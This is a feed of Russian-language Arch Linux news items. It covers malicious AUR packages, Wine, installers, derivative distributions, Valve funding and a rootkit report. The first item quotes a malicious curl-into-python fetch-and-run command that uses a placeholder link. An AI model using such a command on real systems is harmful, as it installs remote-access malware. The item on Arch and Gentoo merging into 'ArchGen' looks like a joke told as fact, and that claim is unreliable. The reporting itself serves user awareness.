В репозитории AUR (Arch User Repository), были обнаружены пакеты содержащие вредоносный код, интегрированные в пакеты с неофициальными сборками браузеров. В дополнение к выявленным две недели назад трём вредоносным пакетам с браузерами, в AUR был добавлен пакет google-chrome-stable, также содержащий изменение, устанавливающее вредоносный компонент, предоставляющий удалённый доступ к системе.

В файле PKGBUILD проблемного пакета была определена установка скрипта для запуска браузера google-chrome-stable.sh, в котором среди прочего присутствовала команда ‘python -c «$(curl вредоносная ссылка)»’, загружавшая вредоносное ПО, распознанное сервисом VirusTotal как троян Spark, позволяющий удалённо управлять системой, запускать процессы, передавать файлы, инспектировать трафик и отправлять скриншоты.

Вредоносный пакет был загружен позавчера и был удалён администраторами AUR через несколько часов после появления. Почти сразу после удаления этого вредоносного пакета в AUR были загружены два вредоносных пакета - «chrome» и «chrome-bin», содержащие аналогичный сценарий установки вредоносного ПО на систему пользователя.

Следом было выявлено ещё три пакета с вредоносным кодом: ttf-mac-fonts-all, ttf-ms-fonts-all и gromit.

>>> Подробности

Команда разработчиков Arch Linux сообщила, что теперь Wine и Wine-Staging по умолчанию собираются в режиме Wow64 (Windows-on-Windows 64-bit). Это решение позволяет запускать 32-битные Windows-приложения в 64-битных Unix-средах без необходимости использовать 32-битные библиотеки. Благодаря переходу на 64-битные версии Wine отпала необходимость в использовании репозитория multilib для пакетов wine и wine-staging.

Основной причиной такого перехода стало стремление к согласованию с актуальными изменениями в основном проекте Wine — для упрощения сборки пакетов и уменьшения числа зависимостей. Вместе с тем, разработчики предупреждают о возможных сложностях: может наблюдаться снижение производительности OpenGL в 32-битных Windows-программах, а также потребуется пересоздать имеющиеся 32-битные префиксы Wine.

Установка steam по прежнему требует использования репозитория multilib.

>>> Подробности

Nyarch Linux — это основанный на Arch Linux итальянский rolling release дистрибутив, разработанный для лиц, не являющихся японцами, но интересующихся аниме, мангой, косплеем и другими аспектами японской культуры. Дефолтным DE из коробки является GNOME. Доступны два варианта ISO'шников: с проприетарными драйверами Nvidia и без. Flathub установлен и активирован по умолчанию.

( читать дальше... )

>>> Официальный сайт

Обновление TUI-установщика для Arch Linux.

Новые поддерживаемые компоненты

• Добавлены профили для Labwc, Niri, River (Wayland-композиторы) и XMonad (X11-менеджер окон на Haskell).

Улучшения безопасности и функционала

• Шифрование конфигурационных данных пользователей, хеширование паролей вместо хранения в открытом виде.
• Дополнительные опции после установки: перезагрузка, вход в систему через chroot, выход в Archiso.

Оптимизация разделов и загрузки

• Улучшена детекция и обработка типов разделов, настройка загрузочного раздела (1 МБ для MBR).
• Исправлены ошибки в создании Btrfs-подразделов, улучшена поддержка Sway и Hyprland.

Изменения для Limine

• Использование стандартного пути загрузчика Limine при установке на USB.

>>> Подробности

Проект ArcoLinux в лице его главного вдохновителя Эрика Дюбуа (Erik Dubois) сообщил, что дистрибутив фактически прекратил своё существование.

( читать дальше... )

>>> Источник

Этьен Жювиньи, он же Tk-Glitch, известный по github-проектам wine-tkg, wine-proton-tkg и Tk-Glitch PKGBUILDs (последний предназначен для дистрибутивов на основе ArchLinux), после около десяти лет поддержки стал жаловаться на здоровье. Из-за этого он стал реже смотреть за «перебазированием» патчей и приёмом пулл-реквестов.

Этьен заявляет, что не собирается бросать репозиторий. Но тут же стало известно, что он назначил для репозитория Wine-TkG ещё одного управляющего — Кирилла Артемьева, он же Artewar67.

Пока что Кирилл столкнулся с непредвиденной задачей — на гитлабе Wine поломали структуру директорий, из-за чего библиотеки (i386 и x86_64) устанавливаются все вместе в один общий каталог, без разделения на архитектуру. С этим «перебазированием» Кирилл справляется хорошо.

Надеемся, что и в дальнейшем поддержка остальных репозиториев TkG и Wine будет идти хорошо и не будет заброшена.

>>> Подробности на Github

Проект EndeavourOS объявил о выпуске новой версии своего ISO под названием Mercury. Этот релиз включает множество улучшений и новых функций, которые делают установку и использование системы еще более удобными и надежными.

EndeavourOS — это дистрибутив, основанный на Arch Linux. Используется графический установщик Calamares, возможна установка сред рабочего стола Xfce, KDE Plasma 6, GNOME, MATE, Cinnamon, Budgie, LXQt, LXDE и оконного менеджера i3. Кроме того, существуют так называемые «выпуски сообщества», включающие оконные менеджеры Sway, QTile, BSPWM, Openbox и эксклюзив EndeavourOS Worm.

( читать дальше... )

>>> Скачать ISO

>>> Подробности

Вышла свежая версия системы сетевой загрузки SKUF 28.0.

Система SKUF Network Boot позволяет загружать Arch Linux на компьютере, подключенном к сети через Ethernet, с использованием USB-накопителя (минимум 150 МБ) или сервера SAMBA (без использования технологии PXE).

Список изменений:

• Удалена опциональность модуля ядра loop.
• Синхронизация с апстрим-версией mkinitcpio PKGBUILD.
• Обновление скрипта update_remote_systems.sh.

>>> Подробности

Исследователи из Gen Threat Labs выявили новый сложный руткит Snapekit, который нацелен на систему Arch Linux версии 6.10.2-arch1-1 на архитектуре x86_64. Snapekit позволяет злоумышленникам получать несанкционированный доступ к системе и управлять ею, при этом оставаясь незамеченными.

( читать дальше... )

Подробности (cybersecuritynews, англ.)

>>> Подробности (securitylab, рус.)

Левенте Поляк, руководитель проекта Arch Linux, а также глава их команды безопасности, опубликовал сообщение в списке рассылки о более тесном сотрудничестве с компанией Valve:

Мы рады сообщить, что Arch Linux вступает в прямое сотрудничество с Valve. Valve щедро поддерживает два ключевых наших проекта, которые окажут значительное влияние на нашу дистрибуцию: инфраструктуру для сборки и систему безопасной подписи. Благодаря тому, что Valve предоставляет поддержку работы по этим направлениям на внештатной основе, мы можем заниматься ими, не полагаясь исключительно на свободное время наших волонтеров.

Эта возможность позволяет нам решить некоторые из самых серьезных проблем, с которыми мы сталкивались уже долгое время. Сотрудничество ускорит прогресс, который в противном случае занял бы значительно больше времени, и, в конечном счете, позволит нам наконец-то начать реализацию некоторых из запланированных инициатив. Мы невероятно благодарны Valve за то, что они сделали это возможным, и за их явную готовность помогать и поддерживать Arch Linux.

Эти проекты будут реализовываться в соответствии с нашими стандартными процессами разработки и принятия решений на основе консенсуса. [RFC] будут создаваться для любых крупных изменений. Обсуждения в этом списке рассылки, а также задачи, этапы и планирование в нашем GitLab-репозитории обеспечат прозрачность и понимание процесса работы. Мы уверены, что это сотрудничество принесет значительную пользу Arch Linux и с нетерпением ждём возможности делиться дальнейшими обновлениями в этом списке рассылки по мере продвижения работы.

>>> Подробности

Тихо и незаметно вышел новый установочный образ дистрибутива Arch Linux. Он примечателен в первую очередь обновлённым скриптом установки archinstall версии 2.8.1, в который добавлена экспериментальная поддержка LVM.

( читать дальше... )

>>> Скачать установочный образ

Обновился менеждер пакетов дистрибутива Arch Linux. В этой версии значительные улучшения, которые упрощают работу и повышают безопасность при работе с пакетами.

Из нового:

• поддержка сервера кэширования пакетов;
• усовершенствования опции sysroot;
• поддержка OpenSSL;
• расширенная поддержка сборки пакетов и ведения репозитария.

>>> Подробности

После долгой тишины обновился Paru — обёртка для pacman с интеграцией AUR.

Обновление содержит много крупных изменений, важных в основном продвинутым пользователям.

( читать дальше... )

>>> Более полный список изменений

Вышла новая версия дистрибутива Manjaro Linux 23.0, основанного на ArchLinux и ориентированного на новичков.

Присутствует упрощённый и дружественный процесс установки с поддержкой автоматического определения оборудования и установки необходимых для его работы драйверов. Основные Live-сборки проекта поставляются с Gnome, KDE, XFCE. Энтузиастами создаются сборки с Budgie, Cinnamon, Deepin, LXDE, LXQt, MATE и i3.

( читать дальше... )

>>> Подробности

Опубликован выпуск Archinstall 2.6. Archinstall — текстовый установщик, который входит по умолчанию в установочный образ ArchLinux с 2021 года.

( читать дальше... )

Подробности на OpenNet

>>> Подробности на GitHub

blendOS - дистрибутив на основе Arch Linux, позволяет использовать пакеты из разных менеджеров (в т.ч. Fedora и Ubuntu) в контейнерах.

( читать дальше... )

Предыдущая новость на ЛОРе

>>> Блог проекта blendOS на английском

Команды мейтенеров Arch и Gentoo объявляют о слиянии дистрибутивов. Новый дистрибутив будет носить называние ArchGen.

Оба привычных пользователям пакетных менеджера будут сосуществовать. Pacman для бинарных пакетов и portage для сборки из исходных кодов. Система сборки ABS будет поддерживаться до 1 января 2024 после чего будет полностью вытеснена portage. Мейнтейнеры обещают максимально безболезненный переезд. В Gentoo достаточно будет доустановить pacman а в Arch — portage. Сообщество арча уже начало портирование ABS-пакетов в ebuild-формат.

blendOS — новый дистрибутив GNU/Linux, создатели которого поставили себе цель помочь страдающим от «дистрохоппинга» и выпустить линукс-систему, на которую можно устанавливать приложения из репозиториев различных популярных дистрибутивов.

blendOS построен на основе Arch Linux, среда по умолчанию — Gnome. Кроме основного репозитория Arch и AUR, система позволяет подключать репозитории Fedora Rawhide и Ubuntu 22.04/22.10. У системы есть собственный пакетный менеджер blend, можно также использовать pacman, dnf и apt, которые устанавливаются в контейнеры с использованием Distrobox/Podman. Наконец, система поддерживает Flatpak!

blendOS позволяет создать неизменчивую (immutable) систему на основе файловой системы только для чтения.

Сайт проекта

>>> Обзор на 9to5linux.com

EndeavourOS — это дистрибутив Linux на основе Arch Linux, преемник Antergos, выпуск которого был прекращен в 2019 году. EndeavourOS, как и Antergos, имеет графический установщик, способный установить Xfce (по умолчанию, оффлайн), Budgie, Cinnamon, Deepin, GNOME, I3, KDE Plasma 5, LXQt и MATE.

( читать дальше... )

>>> Подробности

Python 2 больше не будет поддерживаться разработчиками Arch Linux. Пользователи, у которых он уже установлен смогут его оставить, однако получать обновления безопасности они не будут. Остальные пользователи дистрибутива могут добавить себе сторонний репозиторий, в котором поддержка все еще осуществляется, либо использовать AUR.

Об окончании поддержки Python 2 было объявлено еще в январе 2020 года.

2 AEP: действительно, проглядел конкретно.

>>> Подробности